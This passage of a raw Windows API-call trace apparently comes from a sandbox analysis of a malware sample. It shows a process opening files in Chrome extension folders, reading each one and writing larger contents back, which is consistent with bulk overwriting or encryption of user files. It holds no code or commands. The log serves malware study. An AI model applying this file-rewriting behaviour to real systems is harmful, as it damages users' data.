lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.204] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.205] ReleaseMutex (hMutex=0x128) returned 1 [0063.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0063.205] ReadFile (in: hFile=0x1b0, lpBuffer=0x2592bb8, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2592bb8*, lpNumberOfBytesRead=0x340f2bc*=0xdd, lpOverlapped=0x0) returned 1 [0063.205] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0063.205] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x665, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x665, lpOverlapped=0x0) returned 1 [0063.206] CloseHandle (hObject=0x1b0) returned 1 [0063.206] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.206] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.206] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x32a [0063.206] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.207] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.207] ReleaseMutex (hMutex=0x128) returned 1 [0063.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="craw_window.html", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="craw_window.html", cchWideChar=16, lpMultiByteStr=0x1e78c44, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="craw_window.html", lpUsedDefaultChar=0x0) returned 16 [0063.207] ReadFile (in: hFile=0x1b0, lpBuffer=0x2750828, nNumberOfBytesToRead=0x32a, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x340f2bc*=0x32a, lpOverlapped=0x0) returned 1 [0063.208] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0063.208] WriteFile (in: hFile=0x1b0, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8b2, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x340f2d0*=0x8b2, lpOverlapped=0x0) returned 1 [0063.208] CloseHandle (hObject=0x1b0) returned 1 [0063.208] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.209] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.209] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x376 [0063.209] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.209] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.209] ReleaseMutex (hMutex=0x128) returned 1 [0063.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0063.209] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x376, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x340f2bc*=0x376, lpOverlapped=0x0) returned 1 [0063.211] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0063.211] WriteFile (in: hFile=0x1b0, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8fe, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x340f2d0*=0x8fe, lpOverlapped=0x0) returned 1 [0063.211] CloseHandle (hObject=0x1b0) returned 1 [0063.211] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.212] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.212] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x261 [0063.212] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.212] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.212] ReleaseMutex (hMutex=0x128) returned 1 [0063.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0063.212] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x261, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x340f2bc*=0x261, lpOverlapped=0x0) returned 1 [0063.213] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0063.213] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7e9, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x340f2d0*=0x7e9, lpOverlapped=0x0) returned 1 [0063.213] CloseHandle (hObject=0x1b0) returned 1 [0063.214] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.214] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.214] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x29d [0063.214] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.214] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.214] ReleaseMutex (hMutex=0x128) returned 1 [0063.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0063.215] ReadFile (in: hFile=0x1b0, lpBuffer=0x2739318, nNumberOfBytesToRead=0x29d, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739318*, lpNumberOfBytesRead=0x340f2bc*=0x29d, lpOverlapped=0x0) returned 1 [0063.216] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0063.216] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x825, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x340f2d0*=0x825, lpOverlapped=0x0) returned 1 [0063.216] CloseHandle (hObject=0x1b0) returned 1 [0063.216] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.217] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.217] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x29f [0063.217] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.217] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.217] ReleaseMutex (hMutex=0x128) returned 1 [0063.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0063.217] ReadFile (in: hFile=0x1b0, lpBuffer=0x2739318, nNumberOfBytesToRead=0x29f, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739318*, lpNumberOfBytesRead=0x340f2bc*=0x29f, lpOverlapped=0x0) returned 1 [0063.218] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0063.219] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x827, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x340f2d0*=0x827, lpOverlapped=0x0) returned 1 [0063.219] CloseHandle (hObject=0x1b0) returned 1 [0063.219] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.219] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.219] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2dfa [0063.219] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.220] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.220] ReleaseMutex (hMutex=0x128) returned 1 [0063.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="verified_contents.json", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0063.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="verified_contents.json", cchWideChar=22, lpMultiByteStr=0x1e78c44, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="verified_contents.json", lpUsedDefaultChar=0x0) returned 22 [0063.220] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.221] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1dfa [0063.221] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.222] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1dfa [0063.222] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0063.222] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0063.222] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0063.222] CloseHandle (hObject=0x1b0) returned 1 [0063.222] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.223] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.223] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xd7 [0063.223] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.223] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.223] ReleaseMutex (hMutex=0x128) returned 1 [0063.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6340c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0063.223] ReadFile (in: hFile=0x1b0, lpBuffer=0x2592bb8, nNumberOfBytesToRead=0xd7, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2592bb8*, lpNumberOfBytesRead=0x340f2bc*=0xd7, lpOverlapped=0x0) returned 1 [0063.224] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0063.224] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x65f, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x65f, lpOverlapped=0x0) returned 1 [0063.224] CloseHandle (hObject=0x1b0) returned 1 [0063.225] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.225] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.225] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x10f [0063.225] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.225] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.225] ReleaseMutex (hMutex=0x128) returned 1 [0063.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0063.225] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e0bad8, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0bad8*, lpNumberOfBytesRead=0x340f2bc*=0x10f, lpOverlapped=0x0) returned 1 [0063.226] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0063.226] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x697, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x697, lpOverlapped=0x0) returned 1 [0063.226] CloseHandle (hObject=0x1b0) returned 1 [0063.228] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.228] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.228] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x11e [0063.228] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.228] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.228] ReleaseMutex (hMutex=0x128) returned 1 [0063.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6340c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0063.229] ReadFile (in: hFile=0x1b0, lpBuffer=0x27f8a48, nNumberOfBytesToRead=0x11e, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27f8a48*, lpNumberOfBytesRead=0x340f2bc*=0x11e, lpOverlapped=0x0) returned 1 [0063.229] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0063.229] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6a6, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x6a6, lpOverlapped=0x0) returned 1 [0063.230] CloseHandle (hObject=0x1b0) returned 1 [0063.230] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json" (normalized: 